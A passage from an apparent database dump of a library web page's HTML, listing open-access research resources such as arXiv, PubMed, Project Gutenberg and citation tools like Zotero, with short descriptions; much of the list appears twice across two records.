important social issues in a primarily pro-con format. Millions of students, teachers, parents and others use ProCon.org to learn about today\'s controversial topics without bias and help them make informed decisions.</p><p><br></p><p><a href=\"http://www.gutenberg.org/\" target=\"blank\">Project Gutenberg</a></p><p><a href=\"http://www.gutenberg.org/\" target=\"blank\"></a>Project Gutenberg offers over 42,000 free ebooks: choose among free epub books, free kindle books, download them or read them online. This resource carry high quality ebooks: All the ebooks were previously published by bona fide publishers. They were digitized and diligently proofread them with the help of thousands of volunteers. No fee or registration is required, but donations are welcome.</p><p><br></p><p><a href=\"http://www.plos.org/\">Public Library of Science</a>&nbsp;[<a href=\"http://www.plos.org/about/index.php\">INFO</a>]</p><p>The Public Library of Science (PLoS) is a nonprofit organization of scientists and physicians committed to making the world\'s scientific and medical literature a public resource.</p><p><br></p><p><a href=\"http://www.ncbi.nlm.nih.gov/pubmed/\">PubMed</a>&nbsp;[<a href=\"http://www.ncbi.nlm.nih.gov/books/NBK3827/#pubmedhelp.PubMed_Quick_Start\">INFO</a>]</p><p>PubMed comprises over 20 million citations for biomedical literature from MEDLINE, life science journals, and online books. PubMed citations and abstracts include the fields of medicine, nursing, dentistry, veterinary medicine, the health care system, and preclinical sciences. PubMed also provides access to additional relevant Web sites and links to the other NCBI molecular biology resources.</p><p><br></p><p><a href=\"http://royalsocietypublishing.org/journals\">Royal Society Publishing journals</a>&nbsp;[<a href=\"http://royalsocietypublishing.org/site/misc/about.xhtml\">INFO</a>]</p><p>This site provides a range of services and facilities including access to the Society\'s journals, news of recently published science and the opportunity to purchase our publications online. Its list of international scientific journals includes the Philosophical Transactions of the Royal Society (1665-present), the oldest scientific journal in continuous publication. Note that only a proportion of the Royal Society\'s journal content is available free only. For most journals there is a one or two year embargo and archive access goes back to either 2001 or 2004. The exception is Open Biology, an online, fully open access journal, which publishes articles covering biology at the molecular and cellular level.</p><p><br></p><p><a href=\"http://cyberleninka.ru/?gclid=CPm2i9-hxcsCFdgaGwodIxUABg\">Russian Open Electronic Library - Cyberleninka</a></p><p><a href=\"http://cyberleninka.ru/?gclid=CPm2i9-hxcsCFdgaGwodIxUABg\"></a>Cyberleninka&nbsp; is the scientific electronic library constructed on a paradigm of open science (Open Science) which main objectives is promoting of science and scientific activity, public control of quality of scientific publications, development of interdisciplinary researches, modern institute of the scientific review and increase of a quoting of the Russian science. In Cyberleninka 970.000 articles in various field of science are collected.</p><p><br></p><p><a href=\"http://scout.wisc.edu/Reports/ScoutReport/Current/\">The Scout Report</a>&nbsp;<a href=\"http://scout.wisc.edu/Reports/ScoutReport/Current/\">[INFO]</a></p><p>The Scout Report is a weekly publication by University of Wisconsin-Madison offering a selection of new and newly discovered Internet resources of interest to researchers and educators.</p><p><br></p><p><a href=\"http://www.scribd.com/\">Scribd</a>&nbsp;[<a href=\"http://www.scribd.com/about\">INFO</a>]</p><p>Scribd is the world\'s largest social reading and publishing company. They make it easy to share and discover entertaining, informative and original written content across the web and mobile devices.</p><p><br></p><p><a href=\"http://www.nber.org/\">The National Bureau of Economic Research</a>&nbsp;[<a href=\"http://www.nber.org/info.html\">INFO</a>]</p><p>Founded in 1920, the National Bureau of Economic Research is a private, nonprofit, nonpartisan research organization dedicated to promoting a greater understanding of how the economy works and to undertaking and disseminating economic research among public policymakers, business professionals, and the academic community. Early research focused on the aggregate economy, examining in detail the business cycle and long-term economic growth. Simon Kuznets\' pioneering work on national income accounting, Wesley Mitchell\'s influential study of the business cycle, and Milton Friedman\'s research on the demand for money and the determinants of consumer spending were among the early studies done at the NBER. Typifying its status as one of the United States\' leading nonprofit economic research organisations, eighteen of the 33 American Nobel Prize winners in Economics and six of the past Chairmen of the President\'s Council of Economic Advisers have been researchers at the NBER. On this site you will find a range of economic resources available free of charge in full text.</p><p><br></p><p><a href=\"https://www.cia.gov/library/publications/the-world-factbook/\">The World Factbook</a>&nbsp;<a href=\"https://www.cia.gov/library/publications/the-world-factbook/\">[INFO]</a></p><p><a href=\"https://www.cia.gov/library/publications/the-world-factbook/\"></a>Provides information on the history, people, government, economy, geography, communications, transportation, military, and transnational issues for 267 world entities. Our Reference tab includes: maps of the major world regions, as well as Flags of the World, a Physical Map of the World, a Political Map of the World, and a Standard Time Zones of the World map.</p><p><br></p><p><a href=\"http://unesdoc.unesco.org/ulis/en/index.shtml\">UNESDOC</a>&nbsp;[<a href=\"http://unesdoc.unesco.org/ulis/en/faq.html\">INFO</a>]</p><p>UNESDOC is UNESCO\'s database of documents and publications since 1945. Subjects covered include education, the sciences, culture, communication, and information. Where full text is not available, an option to purchase is provided.</p><p><br></p><p><a href=\"http://www.uspto.gov/patents/process/search/index.jsp%20\">United States Patent database</a>&nbsp;[<a href=\"http://www.uspto.gov/about/index.jsp\">INFO</a>]</p><p>The United States Patent and Trademark Office (USPTO) is the Federal agency for granting U.S. patents and registering trademarks.</p><p><br></p><p><a href=\"http://databank.worldbank.org/\">World Bank Data Bank</a>&nbsp;[<a href=\"http://databank.worldbank.org/\">INFO</a>]</p><p>The World Bank\'s new site provides a huge library of data on worldwide development.</p><p><br></p><p><a href=\"http://www.zentralblatt-math.org/zbmath/\">Zentralblatt Math</a>&nbsp;[<a href=\"http://www.zentralblatt-math.org/zbmath/about/\">INFO</a>]</p><p>Zentralblatt MATH (ZBMATH) is the world\'s most complete and longest running abstracting and reviewing service in pure and applied mathematics. The ZBMATH database contains about 3 million bibliographic entries with reviews or abstracts drawn from more than 3500 journals and 1100 serials and covers the period from 1868 to present by the recent integration of the Jahrbuch database (JFM). Reviews are presently written by about 6,000 active experts from all over the world. The entries are classified according to the Mathematics Subject Classification Scheme (MSC 2010).</p><p><br></p><p><strong>FREE CITATION TOOLS AND SERVICES&nbsp;</strong></p><p><a href=\"http://www.bibsonomy.org/\">Bibsonomy</a>&nbsp;[<a href=\"http://www.bibsonomy.org/help_en/Main\">INFO</a>]</p><p>BibSonomy is a system for sharing bookmarks and lists of literature. When discovering a bookmark or a publication on the web, you can store it on the BibSonomy server, or tag post to retrieve it more easily. This is very similar to the bookmarks system that you use in your browser. Not only does BibSonomy allow you to access your bibliographical data from wherever you are, it allows you to share what you are reading with your friends, colleagues or the public at large.</p><p><br></p><p><a href=\"http://www.citeulike.org/\">CiteULike</a>&nbsp;[<a href=\"http://www.citeulike.org/faq/faq.adp\">INFO</a>]</p><p>CiteULike is a free service to help you to store, organise and share the scholarly papers you are reading. When you see a paper on the web that interests you, you can click one button and have it added to your personal library. CiteULike automatically extracts the citation details, so there\'s no need to type them in yourself. It all works from within your web browser so there\'s no need to install any software. Because your library is stored on the server, you can access it from any computer with an Internet connection.</p><p><br></p><p><a href=\"http://www.zotero.org/\">Zotero</a>&nbsp;[<a href=\"http://www.zotero.org/support/\">INFO</a>]</p><p>Zotero [zoh-TAIR-oh] is a free, easy-to-use tool to help you collect, organize, cite, and share your research sources. It lives right where you do your work—in the web browser itself.&nbsp; There is also a free standalone version available for every major operating system.&nbsp; This will help you keep your citations and projects organized!<br>  </p>'),(4996,2912,'en','Open Access Resources','Open Access Resources','<p><a href=\"http://library.nu.edu.kz/wps/portal/%21ut/p/b1/04_Sj9CPykssy0xPLMnMz0vMAfGjzOKdLD19nZwMHQ38PU1MDBwNDP39w_zdjSwcDYEKIoEKDHAARwNC-sP1o8BKnN0dPUzMfQwMLHzcTQ08HT1CgywDjY0NHI2hCvBY4eeRn5uqX5AbYZBl4qgIAIvG7sc%21/dl4/d5/L2dQX18tQSEhL29Ld3dBQUFRaENFSVFoQ0VJUWhDRUlRZy80SmtHWWhtWVpoR1pSbU1abkdZSm1TWmltWnBtR1psbVk1bWVaZ1daRm1KWm1XWVZtVlEhL1o2X0I5SU1CQjFBME9JNDQwQTAxT09WT0cyOEExL1o2X0I5SU1CQjFBMDA4SEYwSTdIU0xCS08wME42L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyME4yL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyMFYyL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyME0xL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzAyL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzA3L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyR0cxL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzg0L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzgzL1o2X0I5SU1CQjFBMDBHODgwSTc5MFRCQjEzMDQwL1o2X0I5SU1CQjFBMDBHODgwSTc5MFRCQjEzMDQyL1o2X0I5SU1CQjFBMDBCREMwSVZPUEY5MTYzMFQzL1o2X0I5SU1CQjFBME8xT0YwSTdCQzVMRDgxMDAxL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMEEwL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDkyL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMFA0L1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMFAzL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDUwL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDU1L1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMEwy/\">20 Best Websites To Download Free EBooks</a></p><p><a href=\"http://library.nu.edu.kz/wps/portal/%21ut/p/b1/04_Sj9CPykssy0xPLMnMz0vMAfGjzOKdLD19nZwMHQ38PU1MDBwNDP39w_zdjSwcDYEKIoEKDHAARwNC-sP1o8BKnN0dPUzMfQwMLHzcTQ08HT1CgywDjY0NHI2hCvBY4eeRn5uqX5AbYZBl4qgIAIvG7sc%21/dl4/d5/L2dQX18tQSEhL29Ld3dBQUFRaENFSVFoQ0VJUWhDRUlRZy80SmtHWWhtWVpoR1pSbU1abkdZSm1TWmltWnBtR1psbVk1bWVaZ1daRm1KWm1XWVZtVlEhL1o2X0I5SU1CQjFBME9JNDQwQTAxT09WT0cyOEExL1o2X0I5SU1CQjFBMDA4SEYwSTdIU0xCS08wME42L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyME4yL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyMFYyL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyME0xL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzAyL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzA3L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyR0cxL1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzg0L1o2X0I5SU1CQjFBMEdWUUQwSTdIN0tWSzAyRzgzL1o2X0I5SU1CQjFBMDBHODgwSTc5MFRCQjEzMDQwL1o2X0I5SU1CQjFBMDBHODgwSTc5MFRCQjEzMDQyL1o2X0I5SU1CQjFBMDBCREMwSVZPUEY5MTYzMFQzL1o2X0I5SU1CQjFBME8xT0YwSTdCQzVMRDgxMDAxL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMEEwL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDkyL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMFA0L1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMFAzL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDUwL1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMDU1L1o2X0I5SU1CQjFBMDA1NTUwSTc5SENURVUyMEwy/\"></a>List was compiled by Kay Tan, as independent blogger, on the&nbsp;<a href=\"http://www.hongkiat.com/blog/about-us/\" target=\"blank\">HONGIAT.com</a>&nbsp;portal. Recommended reading&nbsp;<a href=\"http://www.hongkiat.com/blog/20-best-websites-to-download-free-e-books-part-ii/\" target=\"blank\">Best Websites To Download Free EBooks – Part II</a></p><p><br></p><p><a href=\"http://aclweb.org/anthology-new/\">ACL Anthology</a>&nbsp;[<a href=\"http://aclweb.org/index.php?option=com_content&amp;task=view&amp;id=38&amp;Itemid=35\">INFO</a>]</p><p>The ACL Anthology currently hosts over 19,800 papers on the study of computational linguistics. The Anthology home page now features search connecting to the ACL Anthology Searchbench and ACL Author Network.</p><p><br></p><p><a href=\"http://www.arxiv.org/\">ArXiv</a>&nbsp;[<a href=\"http://arxiv.org/help/primer\">INFO</a>]</p><p>arXiv is the go-to source for physics.&nbsp; Developed by Cornell University, arXiv is an openly accessible, moderated repository for scholarly articles in specific scientific disciplines, including physics, mathematics, computer science, nonlinear sciences, quantitative biology and statistics. As an electronic archive, arXiv makes a commitment to provide persistent access to all announced submissions. arXiv is thus maintained with a focus on the perpetual availability of submissions.</p><p><br></p><p><a title=\"http://www.biodiversitylibrary.org\" href=\"http://www.biodiversitylibrary.org/\" target=\"_blank\">Biodiversity Heritage Library</a>&nbsp;[<a title=\"http://biodivlib.wikispaces.com/About\" href=\"http://biodivlib.wikispaces.com/About\" target=\"_blank\">INFO</a>]</p><p>The Biodiversity Heritage Library (BHL) is a consortium of natural history and botanical libraries that cooperate to digitize and make accessible the legacy literature of biodiversity held in their collections to make that literature available for open access and responsible use as part of a global \"biodiversity commons.\" &nbsp;The BHL portal provides information on more than 1 million scientifically identified species. &nbsp;The researcher may search and peruse the historical literature to find what was known of a species in the 16th century onward.</p><p><br></p><p><a href=\"http://www.bioone.org/action/showPublications?type=byCategory\">BioOne</a>&nbsp;[<a href=\"http://www.bioone.org/page/about/organization/mission\">INFO</a>]</p><p>BioOne sees sustainable scholarly publishing as an inherently collaborative enterprise connecting authors, nonprofit publishers, academic institutions, research libraries, and research funders in the common goal of maximizing access to critical research. BioOne explores economic models and strategic partnerships that balance the needs of all stakeholders, and currently demonstrates this balance by offering financially sustainable information services in the biological sciences. BioOne supports best practices that increase operational effectiveness and technological standards that integrate its content with a global network of scholarly exchange. Currently it has 11 open access journals, including material not currently searchable via either DOAJ or Open J-Gate.</p><p><br></p><p><a href=\"http://www.acf.hhs.gov/programs/cb/resource/cwig\">Child Welfare Information Gateway</a>&nbsp;[<a href=\"http://www.acf.hhs.gov/programs/cb/resource/cwig\">INFO</a>]</p><p>Child Welfare Information Gateway provides information on child welfare to both the public and child welfare professionals. This includes information on abuse and neglect, foster care, and adoption.</p><p><br></p><p><a href=\"http://clinicaltrials.gov/\">Clinical Trials</a>&nbsp;[<a href=\"http://clinicaltrials.gov/ct2/info/about\">INFO</a>]</p><p>ClinicalTrials.gov offers up-to-date information for locating federally and privately supported clinical trials for a wide range of diseases and conditions. A clinical trial (also clinical research) is a research study in human volunteers to answer specific health questions. Interventional trials determine whether experimental treatments or new ways of using known therapies are safe and effective under controlled environments. Observational trials address health issues in large groups of people or populations in natural settings.</p><p><br></p><p><a href=\"http://www.idp.com/about-idp/research-database/quick-search.aspx\">Database of Research on International Education</a>&nbsp;[<a href=\"http://www.idp.com/about-idp/research-database.aspx\">INFO</a>]</p><p>Managed by the Australian Council for Educational Research, this database contains over books, articles, and conference papers and reports on various aspects of international education. All materials cover the period from 1990--present.</p><p><br></p><p><a href=\"http://demoscope.ru/weekly/2014/0587/index.php\" target=\"blank\">DEMOSCOPE.ru / Демоскоп weekly</a>&nbsp;</p><p>Both print and electronic bulletin from 2001 to 2007 was published by Center for Demography and Human Ecology, at the Institute for Economic Forecasting, and since 2008 – by Institute of Demography at the State University - Higher School of Economics. Institute of Demography studies Russia\'s demographic development - the growth of population and its placement, the family , marriage and divorce, fertility , family planning and reproductive rights, the status of women , children, seniors, people with disabilities, health, mortality, migration, labor, the labor market, the level of life and ethnic relations.</p><p><br></p><p><a href=\"http://www.doaj.org/%20%20\">Directory of Open Access Journals&nbsp;</a>[<a href=\"http://www.doaj.org/doaj?func=loadTempl&amp;templ=about&amp;uiLanguage=en\">INFO</a>]</p><p>Categorised, searchable links to free, full text, quality-controlled scientific and scholarly journals. As of 25th March 2011, 538,679 articles were included in the DOAJ service.</p><p><br></p><p><a href=\"http://edina.ac.uk/\">EDINA</a>&nbsp;[<a href=\"http://edina.ac.uk/about/\">INFO</a>]</p><p>EDINA is a UK national academic data centre, designated by JISC on behalf of UK funding bodies to support the activity of universities, colleges and research institutes in the UK, by delivering access to a range of online data services through a UK academic infrastructure, as well as supporting knowledge exchange and ICT capacity building, nationally and internationally, which innovates, generating knowledge, expertise and trust, through a focus on ease and continuity of access to scholarly resources and tools.</p><p><br></p><p><a href=\"http://www.iranicaonline.org/\">Encyclopædia Iranica</a></p><p><a href=\"http://www.iranicaonline.org/\"></a>The Encyclopædia Iranica is a comprehensive research tool dedicated to the study of Iranian civilization in the Middle East, the Caucasus, Central Asia, and the Indian subcontinent. It is published by Columbia University Center for Iranian Studies.</p><p><br></p><p><a href=\"http://www.epo.org/searching.html\">Espacenet - European Patent database</a>&nbsp;[<a href=\"http://www.epo.org/about-us.html\">INFO</a>]</p><p>Espacenet offers free access to more than 70 million patent documents worldwide, containing information about inventions and technical developments from 1836 to today.</p><p><br></p><p><a title=\"http://www.theeuropeanlibrary.org\" href=\"http://www.theeuropeanlibrary.org/\" target=\"_blank\">The European Library</a>&nbsp;[<a href=\"http://www.theeuropeanlibrary.org/tel4/aboutus\">INFO</a>]The European Library is a membership organisation for national and research libraries. Its members include 48 national libraries and an increasing number of research libraries.&nbsp; Through its portal, it makes the resources of Europe\'s libraries, including many special collections, accessible to the public.&nbsp; Through a single search box you have access to over 200 million records including 24 million pages of full-text content and more than 7 million digital objects.</p><p><br></p><p><a href=\"http://books.google.com/\" target=\"blank\">Google books</a></p><p><a href=\"http://books.google.com/\" target=\"blank\"></a><a href=\"http://books.google.com/\" target=\"blank\"></a>You can search and browse millions of books in here. If the book is out of copyriht, or the publisher has given a permission, you\'ll be able to see a preview of the book, and in some cases the entire text. If it\'s in the public domain, you\'re free to download a PDF copy.&nbsp;</p><p><br></p><p><a href=\"http://www.hathitrust.org/\" target=\"blank\">HathiTrust Digital Library</a></p><p><a href=\"http://www.hathitrust.org/\" target=\"blank\"></a>HathiTrust is a partnership of academic &amp; research institutions, offering a collection of millions of titles digitized from libraries around the world.&nbsp;</p><p><br></p><p><a href=\"http://highwire.stanford.edu/lists/freeart.dtl\">Highwire</a>&nbsp;[<a href=\"http://highwire.stanford.edu/about/\">INFO</a>]</p><p>As the leading ePublishing platform, HighWire Press partners with independent scholarly publishers, societies, associations, and university presses to facilitate the digital dissemination of 1530 journals, reference works, books, and proceedings. The users of HighWire hosted publications include researchers, clinicians, students, and other scholars seeking the best online research from a vast database of full-text scholarly, high-impact materials. The HighWire portal offers advanced searching and browsing capabilities and tools, creating an alternative means to find and make sense of information from over five million full-text articles; create keyword, citation or author alerts; and download citations across all the content HighWire hosts. In 2008, HighWire announced the creation of its new platform, H2O. This platform incorporates the information technology\'s best-practices, standards, and architecture, providing HighWire\'s partners the flexibility to provide their online visitors the latest features and best experience.</p><p><br></p><p><a href=\"http://www.hindawi.com/search.aspx\">Hindawi Open Access Journals</a>&nbsp;[<a href=\"http://www.hindawi.com/\">INFO</a>]</p><p>Founded in 1997, Hindawi Publishing Corporation is a commercial publisher of peer-reviewed journals covering a wide range of academic disciplines, and publishes over 200 open access, peer-reviewed journals.</p><p><br></p><p><a href=\"http://www.ingentaconnect.com/search/advanced?database=1\">Ingenta</a>&nbsp;[<a href=\"http://www.ingentaconnect.com/about\">INFO</a>]</p><p>IngentaConnect offers one of the most comprehensive collections of academic and professional research articles online, and citation data for some 4.5 million articles from 13,500 publications. Access to fulltext at this time is only available for open source resources.</p><p><br></p><p><a href=\"https://archive.org/details/texts\" target=\"blank\">The Internet Archive</a></p><p><a href=\"https://archive.org/details/texts\" target=\"blank\"></a>The Internet Archive\'s Digital Books Collections allows you to browse and read over 5 million books and items from over 1,500-curated collections. You will find a wide range of literature, historical texts and research materials.&nbsp;</p><p><br></p><p><a href=\"http://www.ietf.org/\">Internet Engineering Task Force</a>&nbsp;[<a href=\"http://www.ietf.org/about/\">INFO</a>]</p><p>The mission of the IETF is to make the Internet work better by producing high quality, relevant technical documents that influence the way people design, use, and manage the Internet. It is a large open international community of network designers, operators, vendors, and researchers concerned with the evolution of the Internet architecture and the smooth operation of the Internet and is open to any interested individual.</p><p><br></p><p><a href=\"http://scout.wisc.edu/Weblog/\">Internet Scout Report</a>&nbsp;[<a href=\"http://scout.wisc.edu/About/index.php\">INFO</a>]</p><p>The Scout Report is a weekly publication offering a selection of new and newly discovered Internet resources of interest to researchers and educators.</p><p><br></p><p><a href=\"http://www.ams.org/mathscinet/msc/msc2010.html\">Mathematics Subject Classification</a>&nbsp;[<a href=\"http://10.1.1.16:10038/wps/PA_1_NO2UF4I11G7IE026HCTVU020K6/jsp/html/doc.html\">INFO</a>]</p><p>The Mathematics Subject Classification (MSC) is an alphanumerical classification scheme produced by staff of and based on the coverage of two major mathematical reviews databases, Mathematical Reviews and Zentralblatt MATH. It links up and aids searching of many mathematics and physics journals, which ask authors of research papers and expository articles to list subject codes from the Mathematics Subject Classification in their papers.</p><p><br></p><p><a title=\"http://medlineplus.gov\" href=\"http://medlineplus.gov/\" target=\"_blank\">MedlinePlus</a>&nbsp;[<a title=\"http://www.nlm.nih.gov/medlineplus/aboutmedlineplus.html\" href=\"http://www.nlm.nih.gov/medlineplus/aboutmedlineplus.html\" target=\"_blank\">INFO</a>]&nbsp;</p><p>MedlinePlus is the National Institute of Health\'s Web Site for patients and their families and friends. &nbsp;Produced by the National Library of Medicine, it brings you information about diseases, conditions, and wellness issues in language you can understand. &nbsp;MedlinePlus offers reliable, up-to-date health information, anytime, anywhere, for free.</p><p><br></p><p><a href=\"http://metapress.com/content/\">Metapress</a>&nbsp;[<a href=\"http://metapress.com/home/main.mpx\">INFO</a>]</p><p>Metapress acts as the e-hosting facility for a range of academic journals, but is in itself an excellent place to start for finding resources for study.</p><p><br></p><p><a href=\"http://www.nap.edu/\">National Academies Press eBooks</a>&nbsp;[<a href=\"http://notes.nap.edu/2011/06/02/more-than-4000-national-academies-press-pdfs-now-available-to-download-for-free\">INFO</a>]</p><p>The National Academies Press (NAP) was created by the National Academies to publish the reports issued by the National Academy of Sciences, the National Academy of Engineering, the Institute of Medicine, and the National Research Council, all operating under a charter granted by the Congress of the United States. The NAP publishes more than 200 books a year on a wide range of topics in science, engineering, and health, capturing the most authoritative views on important issues in science and health policy. This collection contains over 4000 free ebooks.</p><p><br></p><p><a href=\"http://www.oapen.org/home\">OAPEN (Open Access Publishing in European Networks)</a></p><p><a href=\"http://www.oapen.org/home\"></a>The OAPEN Library contains freely accessible academic books, mainly in the area of humanities and social sciences. OAPEN works with publishers to build a quality controlled collection of open access books, and provides services for publishers, libraries and research funders in the areas of deposit, quality assurance, dissemination, and digital preservation.</p><p><br></p><p><a href=\"http://oatd.org/\">OATD</a>&nbsp;(Open Accese Dissertaions and Theses)&nbsp;</p><p>OATD.org aims to be the best possible resource for finding open access graduate theses and dissertations published around the world. Metadata (information about the theses) comes from&nbsp;<a href=\"http://oatd.org/oatd-publishers.html\">over 800 colleges, universities, and research institutions</a>. OATD currently indexes&nbsp;<a href=\"http://oatd.org/oatd/search?q=*%3A*&amp;sort=date\">1,870,203&nbsp;</a>theses and dissertations.</p><p><br></p><p><a href=\"http://opendepot.org/view/subjects/\">Open Depot</a>&nbsp;[<a href=\"http://opendepot.org/information.html\">INFO</a>]</p><p>The purpose of OpenDepot.org is to ensure that all academics worldwide can share in the benefits of making their research output Open Access. For those whose universities and organisations have an online repository, OpenDepot.org makes them easy to find. For those without a local repository, including unaffilitiated researchers, the OpenDepot is a place of deposit, available for others to harvest.</p><p><br></p><p><a href=\"http://www.opendoar.org/search.php\">OpenDOAR</a>&nbsp;[<a href=\"http://www.opendoar.org/\">INFO</a>]</p><p>OpenDOAR is an authoritative directory of academic open access repositories. Each OpenDOAR repository has been visited by project staff to check the information that is recorded here.</p><p><br></p><p><a href=\"http://www.opticsinfobase.org/\">Optics Infobase</a>&nbsp;[<a href=\"http://www.opticsinfobase.org/about.cfm\">INFO</a>]</p><p>You can access a large collection of peer-reviewed optics and photonics content via OSA\'s digital library, Optics InfoBase. This cutting-edge repository includes all of OSA\'s content, and complements it with key co-publications. With more than 185,000 articles including conference papers from 310 conferences, OSA\'s content covers a breadth of disciplines, many of which are available free of charge in full text.</p><p><br></p><p><a href=\"http://www.aip.org/pacs/pacs2010/individuals/pacs2010_regular_edition/index.html\">Physics and Astronomy Classification Scheme</a>&nbsp;[<a href=\"http://msc2010.org/Default.html\">INFO</a>]</p><p>The Physics and Astronomy Classification Scheme® (PACS®) is a hierarchical subject classification scheme designed to classify and categorize the literature of physics and astronomy. PACS provides an essential tool for classification and efficient retrieval of literature in physics and astronomy; as such, PACS is used by AIP and other international publishers of journals in physics, astronomy, and related fields.</p><p><br></p><p><a title=\"ProCon.org\" href=\"http://www.procon.org/\" target=\"_blank\">ProCon.org</a>&nbsp;[<a title=\"http://www.procon.org/about-us.php\" href=\"http://www.procon.org/about-us.php\" target=\"_blank\">INFO</a>]&nbsp;</p><p>ProCon.org is a free website that presents nonpartisan research on important social issues in a primarily pro-con format. Millions of students, teachers, parents and others use ProCon.org to learn about today\'s controversial topics without bias and help them make informed decisions.</p><p><br></p><p><a href=\"http://www.gutenberg.org/\" target=\"blank\">Project Gutenberg</a></p><p><a href=\"http://www.gutenberg.org/\" target=\"blank\"></a>Project Gutenberg offers over 42,000 free ebooks: choose among free epub books, free kindle books, download them or read them online. This resource carry high quality ebooks: All the ebooks were previously published by bona fide publishers. They were digitized and diligently proofread them with the help of thousands of volunteers. No fee or registration is required, but donations are welcome.</p><p><br></p><p><a href=\"http://www.plos.org/\">Public Library of Science</a>&nbsp;[<a href=\"http://www.plos.org/about/index.php\">INFO</a>]</p><p>The Public Library of Science (PLoS) is a nonprofit organization of scientists and physicians committed to making the world\'s scientific and medical literature a public resource.</p><p><br></p><p><a href=\"http://www.ncbi.nlm.nih.gov/pubmed/\">PubMed</a>&nbsp;[<a href=\"http://www.ncbi.nlm.nih.gov/books/NBK3827/#pubmedhelp.PubMed_Quick_Start\">INFO</a>]</p><p>PubMed comprises over 20 million citations for biomedical literature from MEDLINE, life science journals, and online books. PubMed citations and abstracts include the fields of medicine, nursing, dentistry, veterinary medicine, the health care system, and preclinical sciences. PubMed also provides access to additional relevant Web sites and links to the other NCBI molecular biology resources.</p><p><br></p><p><a href=\"http://royalsocietypublishing.org/journals\">Royal Society Publishing journals</a>&nbsp;[<a href=\"http://royalsocietypublishing.org/site/misc/about.xhtml\">INFO</a>]</p><p>This site provides a range of services and facilities including access to the Society\'s journals, news of recently published science and the opportunity to purchase our publications online. Its list of international scientific journals includes the Philosophical Transactions of the Royal Society (1665-present), the oldest scientific journal in continuous publication. Note that only a proportion of the Royal Society\'s journal content is available free only. For most journals there is a one or two year embargo and archive access goes back to either 2001 or 2004. The exception is Open Biology, an online, fully open access journal, which publishes articles covering biology at the molecular and cellular level.</p><p><br></p><p><a href=\"http://cyberleninka.ru/?gclid=CPm2i9-hxcsCFdgaGwodIxUABg\">Russian Open Electronic Library - Cyberleninka</a></p><p><a href=\"http://cyberleninka.ru/?gclid=CPm2i9-hxcsCFdgaGwodIxUABg\"></a>Cyberleninka&nbsp; is the scientific electronic library constructed on a paradigm of open science (Open Science) which main objectives is promoting of science and scientific activity, public control of quality of scientific publications, development of interdisciplinary researches, modern institute of the scientific review and increase of a quoting of the Russian science. In Cyberleninka 970.000 articles in various field of science are collected.</p><p><br></p><p><a href=\"http://scout.wisc.edu/Reports/ScoutReport/Current/\">The Scout Report</a>&nbsp;<a href=\"http://scout.wisc.edu/Reports/ScoutReport/Current/\">[INFO]</a></p><p>The Scout Report is a weekly publication by University of Wisconsin-Madison offering a selection of new and newly discovered Internet resources of interest to researchers and educators.</p><p><br></p><p><a href=\"http://www.scribd.com/\">Scribd</a>&nbsp;[<a href=\"http://www.scribd.com/about\">INFO</a>]</p><p>Scribd is the world\'s largest social reading and publishing company. They make it easy to share and discover entertaining, informative and original written content across the web and mobile devices.</p><p><br></p><p><a href=\"http://www.nber.org/\">The National Bureau of Economic Research</a>&nbsp;[<a href=\"http://www.nber.org/info.html\">INFO</a>]</p><p>Founded in 1920, the National Bureau of Economic Research is a private, nonprofit, nonpartisan research organization dedicated to promoting a greater understanding of how the economy works and to undertaking and disseminating economic research among public policymakers, business professionals, and the academic community. Early research focused on the aggregate economy, examining in detail the business cycle and long-term economic growth. Simon Kuznets\' pioneering work on national income accounting, Wesley Mitchell\'s influential study of the business cycle, and Milton Friedman\'s research on the demand for money and the determinants of consumer spending were among the early studies done at the NBER. Typifying its status as one of the United States\' leading nonprofit economic research organisations, eighteen of the 33 American Nobel Prize winners in Economics and six of the past Chairmen of the President\'s Council of Economic Advisers have been researchers at the NBER. On this site you will find a range of economic resources available free of charge in full text.</p><p><br></p><p><a href=\"https://www.cia.gov/library/publications/the-world-factbook/\">The World Factbook</a>&nbsp;<a href=\"https://www.cia.gov/library/publications/the-world-factbook/\">[INFO]</a></p><p><a href=\"https://www.cia.gov/library/publications/the-world-factbook/\"></a>Provides information on the history, people, government, economy, geography, communications, transportation, military, and transnational issues for 267 world entities. Our Reference tab includes: maps of the major world regions, as well as Flags of the World, a Physical Map of the World, a Political Map of the World, and a Standard Time Zones of the World map.</p><p><br></p><p><a href=\"http://unesdoc.unesco.org/ulis/en/index.shtml\">UNESDOC</a>&nbsp;[<a href=\"http://unesdoc.unesco.org/ulis/en/faq.html\">INFO</a>]</p><p>UNESDOC is UNESCO\'s database of documents and publications since 1945. Subjects covered include education, the sciences, culture, communication, and information. Where full text is not available, an option to purchase is provided.</p><p><br></p><p><a href=\"http://www.uspto.gov/patents/process/search/index.jsp%20\">United States Patent database</a>&nbsp;[<a 